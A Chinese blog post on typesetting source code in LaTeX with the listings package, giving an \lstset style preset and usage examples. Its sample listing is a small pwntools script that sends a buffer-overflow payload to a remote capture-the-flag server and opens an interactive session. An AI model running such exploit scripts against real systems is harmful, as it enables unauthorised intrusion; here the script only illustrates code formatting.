LaTeX 插入源代码

使用 xelatex 编译
  或使用 PDFTeXify 编译
不行再试试别的吧~

LaTeX中支持显示大部分编程语言,包括但不限于:

Python
HTML
C++
C
R
SQL
Matlab
PHP
bash
...

预设

在 \begin{document} 前写入预设:

\usepackage{listings}
\usepackage{xcolor}
\definecolor{mygreen}{rgb}{0,0.6,0}
\definecolor{mygray}{rgb}{0.5,0.5,0.5}
\definecolor{mymauve}{rgb}{0.58,0,0.82}

\lstset{ %
  backgroundcolor=\color{white},   % choose the background color; you must add \usepackage{color} or \usepackage{xcolor}
  basicstyle=\footnotesize,        % the size of the fonts that are used for the code
  breakatwhitespace=false,         % sets if automatic breaks should only happen at whitespace
  breaklines=true,                 % sets automatic line breaking
  captionpos=bl,                    % sets the caption-position to bottom
  commentstyle=\color{mygreen},    % comment style
  deletekeywords={...},            % if you want to delete keywords from the given language
  escapeinside={\%*}{*)},          % if you want to add LaTeX within your code
  extendedchars=true,              % lets you use non-ASCII characters; for 8-bits encodings only, does not work with UTF-8
  frame=single,                    % adds a frame around the code
  keepspaces=true,                 % keeps spaces in text, useful for keeping indentation of code (possibly needs columns=flexible)
  keywordstyle=\color{blue},       % keyword style
  %language=Python,                 % the language of the code
  morekeywords={*,...},            % if you want to add more keywords to the set
  numbers=left,                    % where to put the line-numbers; possible values are (none, left, right)
  numbersep=5pt,                   % how far the line-numbers are from the code
  numberstyle=\tiny\color{mygray}, % the style that is used for the line-numbers
  rulecolor=\color{black},         % if not set, the frame-color may be changed on line-breaks within not-black text (e.g. comments (green here))
  showspaces=false,                % show spaces everywhere adding particular underscores; it overrides 'showstringspaces'
  showstringspaces=false,          % underline spaces within strings only
  showtabs=false,                  % show tabs within strings adding particular underscores
  stepnumber=1,                    % the step between two line-numbers. If it's 1, each line will be numbered
  stringstyle=\color{orange},     % string literal style
  tabsize=2,                       % sets default tabsize to 2 spaces
  %title=myPython.py                   % show the filename of files included with \lstinputlisting; also try caption instead of title
}

使用方法

直接插入代码块

\begin{lstlisting}[language=Python,title={ans002.py}]
from pwn import* #可能会报错 ,试试 python3  
p = remote('111.200.241.244',49686)
payload = 'a'*4 + p64(1853186401).decode("iso-8859-1") #本来没有后面的编码来着
p.recvuntil("lets get helloworld for bof\n")
p.sendline(payload)
p.interactive()
\end{lstlisting}

效果:

 基于文件插入

\lstinputlisting[language=C, title=test.c]{ecrypt-sync.c}

效果;

原文地址:https://www.cnblogs.com/PiaYie/p/15720770.html